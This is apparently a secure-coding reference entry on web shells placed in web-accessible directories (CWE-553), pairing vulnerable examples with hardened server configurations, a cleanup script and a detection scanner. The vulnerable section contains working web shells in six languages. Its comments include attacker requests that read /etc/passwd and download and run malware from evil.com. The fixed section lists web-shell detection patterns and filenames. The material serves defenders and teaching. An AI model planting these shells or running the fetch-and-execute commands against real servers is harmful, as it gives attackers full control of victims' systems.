Command Shell in Externally Accessible Directory
Description
Command Shell in Externally Accessible Directory is a vulnerability where a command shell or script interpreter is placed in a web-accessible location such as the CGI-bin directory or document root. This allows attackers to execute arbitrary commands on the web server by directly accessing the shell through HTTP requests. The vulnerability represents an extreme security risk as it provides direct command execution capability to anyone who can reach the web server, potentially leading to complete system compromise.
Risk
A command shell in an accessible directory is one of the most critical vulnerabilities possible. Attackers gain the ability to execute arbitrary operating system commands with the permissions of the web server process. This enables complete server takeover including reading and modifying any accessible files, installing backdoors, pivoting to internal networks, exfiltrating sensitive data, cryptocurrency mining, launching attacks against other systems, and deleting or ransoming data. Even brief exposure can result in persistent compromise as attackers quickly install backdoors and rootkits. Web shells are a primary tool in advanced persistent threats (APT) attacks.
Solution
Remove any shells, interpreters, or script execution capabilities from web-accessible directories during installation and system hardening. Never deploy command shells (bash, sh, cmd.exe, PowerShell) in CGI-bin or document root directories. Configure web servers to deny execution of shell scripts in public directories. Implement file integrity monitoring to detect unauthorized shell uploads. Use application firewalls to block web shell patterns. Regularly scan web directories for unauthorized scripts. Restrict web server permissions to prevent shell execution. Apply the principle of least privilege to web server processes.
Common Consequences
| Impact | Details |
|---|---|
| Confidentiality | Scope: Confidentiality Execute Unauthorized Code or Commands - Attackers can execute arbitrary commands, read sensitive files, access databases, and exfiltrate confidential data. |
| Integrity | Scope: Integrity Execute Unauthorized Code or Commands - Attackers can modify system files, install backdoors, deface websites, and alter application behavior. |
| Availability | Scope: Availability Execute Unauthorized Code or Commands - Attackers can delete files, crash services, consume resources, or completely take down the system. |
Example Code
Vulnerable Code
# Vulnerable: Shell script accessible via web
# File: /var/www/html/cgi-bin/shell.sh
#!/bin/bash
# Vulnerable: Executes any command passed as parameter
echo "Content-type: text/plain"
echo ""
# Vulnerable: Direct command execution from user input
cmd=$QUERY_STRING
eval "$cmd"
# Attacker can execute: /cgi-bin/shell.sh?ls+-la
# Or worse: /cgi-bin/shell.sh?cat+/etc/passwd
# Or: /cgi-bin/shell.sh?wget+http://evil.com/backdoor.sh+-O+/tmp/bd.sh%26%26bash+/tmp/bd.sh
<?php
// Vulnerable: PHP web shell in document root
// File: /var/www/html/shell.php
// Vulnerable: Direct command execution
if (isset($_GET['cmd'])) {
$output = shell_exec($_GET['cmd']);
echo "<pre>$output</pre>";
}
// Vulnerable: System command execution
if (isset($_POST['command'])) {
system($_POST['command']);
}
// Vulnerable: Passthru exposes output directly
if (isset($_REQUEST['c'])) {
passthru($_REQUEST['c']);
}
// Attacker access: /shell.php?cmd=whoami
// Or: /shell.php?cmd=cat%20/etc/passwd
// Or: /shell.php?cmd=wget%20http://evil.com/malware%20-O%20/tmp/m%20%26%26%20chmod%20%2bx%20/tmp/m%20%26%26%20/tmp/m
?>
#!/usr/bin/perl
# Vulnerable: Perl CGI shell
# File: /var/www/html/cgi-bin/cmd.pl
use CGI;
my $q = CGI->new;
print $q->header('text/plain');
# Vulnerable: Executes user-supplied command
my $cmd = $q->param('cmd');
if ($cmd) {
print `$cmd`; # Backticks execute shell command
}
# Attacker: /cgi-bin/cmd.pl?cmd=id
# /cgi-bin/cmd.pl?cmd=uname+-a
#!/usr/bin/env python3
# Vulnerable: Python CGI web shell
# File: /var/www/html/cgi-bin/exec.py
import cgi
import subprocess
import os
print("Content-Type: text/plain\n")
form = cgi.FieldStorage()
cmd = form.getvalue('cmd')
if cmd:
# Vulnerable: Direct command execution
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
print(result.stdout)
print(result.stderr)
# Alternatively vulnerable:
# os.system(cmd)
# os.popen(cmd).read()
<%-- Vulnerable: JSP web shell --%>
<%-- File: /var/www/webapps/ROOT/cmd.jsp --%>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
// Vulnerable: Runtime command execution
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
<%-- Vulnerable: ASP.NET web shell --%>
<%-- File: C:\inetpub\wwwroot\shell.aspx --%>
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string cmd = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(cmd)) {
// Vulnerable: Process execution with user input
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + cmd;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
}
%>
Fixed Code
# Fixed: Apache configuration blocking shell access
<VirtualHost *:80>
ServerName example.com
DocumentRoot /var/www/html
# Fixed: Disable CGI execution entirely if not needed
<Directory /var/www/html>
Options -ExecCGI -Indexes
AllowOverride None
Require all granted
</Directory>
# Fixed: If CGI is needed, strictly control what can execute
<Directory /var/www/cgi-bin>
Options +ExecCGI
# Fixed: Only allow specific, vetted scripts
<FilesMatch "^(allowed_script1\.cgi|allowed_script2\.cgi)$">
Require all granted
</FilesMatch>
<FilesMatch "^(?!(allowed_script1\.cgi|allowed_script2\.cgi)$).*$">
Require all denied
</FilesMatch>
</Directory>
# Fixed: Block shell-related files
<FilesMatch "\.(sh|bash|exe|bat|cmd|ps1|py|pl|rb)$">
Require all denied
</FilesMatch>
# Fixed: Block known web shell patterns
<LocationMatch "(shell|cmd|exec|system|passthru|eval)">
Require all denied
</LocationMatch>
</VirtualHost>
# Fixed: Nginx configuration preventing shell execution
server {
listen 80;
server_name example.com;
root /var/www/html;
# Fixed: Disable script execution in sensitive directories
location ~* ^/(uploads|files|media|images)/ {
location ~* \.(php|pl|py|sh|cgi|exe|asp|aspx|jsp)$ {
deny all;
return 404;
}
}
# Fixed: Block common web shell patterns in requests
location ~* (shell|cmd|exec|system|passthru|eval|phpinfo) {
deny all;
return 404;
}
# Fixed: Only allow PHP execution in specific directory
location ~ \.php$ {
# Only allow in app directory, not uploads
if ($uri ~ "^/uploads/") {
return 403;
}
fastcgi_pass unix:/var/run/php/php-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
# Fixed: Deny access to shell scripts entirely
location ~* \.(sh|bash|pl|py|cgi)$ {
deny all;
return 404;
}
}
<?php
// Fixed: If command execution is legitimately needed,
// implement strict controls (NOT a web shell)
class SecureCommandRunner {
// Fixed: Whitelist of allowed commands
private const ALLOWED_COMMANDS = [
'disk_usage' => 'df -h',
'process_list' => 'ps aux',
'uptime' => 'uptime'
];
public function __construct() {
// Fixed: Require authentication
if (!$this->isAuthenticated()) {
http_response_code(401);
die('Unauthorized');
}
// Fixed: Require admin role
if (!$this->isAdmin()) {
http_response_code(403);
die('Forbidden');
}
// Fixed: Log all command execution attempts
$this->logAccess();
}
public function execute(string $commandName): ?string {
// Fixed: Only execute whitelisted commands
if (!isset(self::ALLOWED_COMMANDS[$commandName])) {
$this->logSuspiciousActivity("Invalid command: $commandName");
return null;
}
// Fixed: Execute predefined command, not user input
$command = self::ALLOWED_COMMANDS[$commandName];
// Fixed: Use safe execution with output capture
$output = [];
$returnCode = 0;
exec($command . ' 2>&1', $output, $returnCode);
// Fixed: Log the execution
$this->logCommandExecution($commandName, $returnCode);
return implode("\n", $output);
}
private function isAuthenticated(): bool {
return isset($_SESSION['user_id']);
}
private function isAdmin(): bool {
return $_SESSION['role'] ?? '' === 'admin';
}
private function logAccess(): void {
error_log("Admin command interface accessed by user: " .
($_SESSION['user_id'] ?? 'unknown') .
" from IP: " . $_SERVER['REMOTE_ADDR']);
}
private function logCommandExecution(string $command, int $code): void {
error_log("Command executed: $command, return code: $code, " .
"user: " . $_SESSION['user_id']);
}
private function logSuspiciousActivity(string $message): void {
error_log("SECURITY: $message, IP: " . $_SERVER['REMOTE_ADDR']);
}
}
?>
#!/bin/bash
# Fixed: Server hardening script to remove web shells
# Remove any shell interpreters from web directories
find /var/www -type f \( -name "*.sh" -o -name "*.bash" -o -name "*.pl" \
-o -name "*.py" -o -name "*.rb" -o -name "*.cgi" \) -delete
# Remove common web shell files
find /var/www -type f \( -name "c99.php" -o -name "r57.php" \
-o -name "shell.php" -o -name "cmd.php" -o -name "webshell*" \
-o -name "backdoor*" \) -delete
# Set restrictive permissions
chmod -R 644 /var/www/html/*
find /var/www/html -type d -exec chmod 755 {} \;
# Remove execute permission from all files in web root
find /var/www/html -type f -exec chmod -x {} \;
# Specifically allow only index files to be readable
# Disable directory listing
chmod 750 /var/www/html
# Create file integrity baseline
find /var/www -type f -exec md5sum {} \; > /var/log/www_baseline.md5
# Schedule integrity monitoring
echo "0 * * * * root md5sum -c /var/log/www_baseline.md5 | grep -v OK | mail -s 'File integrity alert' [email protected]" >> /etc/crontab
# Fixed: Web shell detection script for security monitoring
import os
import re
import hashlib
from pathlib import Path
class WebShellDetector:
"""Detect potential web shells in web directories."""
# Patterns indicating web shells
SUSPICIOUS_PATTERNS = [
r'eval\s*\(\s*\$_(GET|POST|REQUEST)',
r'exec\s*\(\s*\$_(GET|POST|REQUEST)',
r'system\s*\(\s*\$_(GET|POST|REQUEST)',
r'passthru\s*\(',
r'shell_exec\s*\(',
r'base64_decode\s*\(\s*\$_(GET|POST|REQUEST)',
r'assert\s*\(\s*\$_(GET|POST|REQUEST)',
r'preg_replace\s*\(.*\/e', # PHP /e modifier
r'Runtime\.getRuntime\(\)\.exec',
r'ProcessBuilder',
r'subprocess\.(run|call|Popen)',
r'os\.system\s*\(',
r'\$_(GET|POST|REQUEST)\s*\[\s*[\'"]cmd[\'"]\s*\]',
]
SUSPICIOUS_FILENAMES = [
'shell.php', 'cmd.php', 'c99.php', 'r57.php', 'b374k.php',
'weevely.php', 'webshell.php', 'backdoor.php', 'hack.php',
'shell.asp', 'cmd.asp', 'shell.aspx', 'cmd.aspx',
'shell.jsp', 'cmd.jsp', 'shell.cgi', 'cmd.cgi'
]
def __init__(self, web_root: str):
self.web_root = Path(web_root)
def scan(self) -> list:
"""Scan web root for potential web shells."""
findings = []
for filepath in self.web_root.rglob('*'):
if filepath.is_file():
# Check filename
if filepath.name.lower() in self.SUSPICIOUS_FILENAMES:
findings.append({
'type': 'suspicious_filename',
'path': str(filepath),
'reason': f'Known web shell filename: {filepath.name}'
})
# Check content for dangerous patterns
if filepath.suffix.lower() in ['.php', '.asp', '.aspx', '.jsp', '.py', '.pl', '.cgi']:
content_findings = self._scan_content(filepath)
findings.extend(content_findings)
return findings
def _scan_content(self, filepath: Path) -> list:
"""Scan file content for web shell patterns."""
findings = []
try:
content = filepath.read_text(errors='ignore')
for pattern in self.SUSPICIOUS_PATTERNS:
if re.search(pattern, content, re.IGNORECASE):
findings.append({
'type': 'suspicious_content',
'path': str(filepath),
'pattern': pattern
})
except Exception as e:
pass
return findings
# Usage: python web_shell_detector.py /var/www/html
if __name__ == '__main__':
import sys
detector = WebShellDetector(sys.argv[1] if len(sys.argv) > 1 else '/var/www/html')
findings = detector.scan()
for finding in findings:
print(f"ALERT: {finding['type']} - {finding['path']}")
CVE Examples
- CVE-2021-44228: Log4Shell vulnerability exploited to upload web shells for persistent access.
- CVE-2021-26855: Microsoft Exchange ProxyLogon used to deploy web shells.
- CVE-2019-0604: SharePoint vulnerability exploited to upload web shells.
References
- MITRE Corporation. "CWE-553: Command Shell in Externally Accessible Directory." https://cwe.mitre.org/data/definitions/553.html
- OWASP. "Testing for Command Injection."
- MITRE ATT&CK. "T1505.003 - Server Software Component: Web Shell."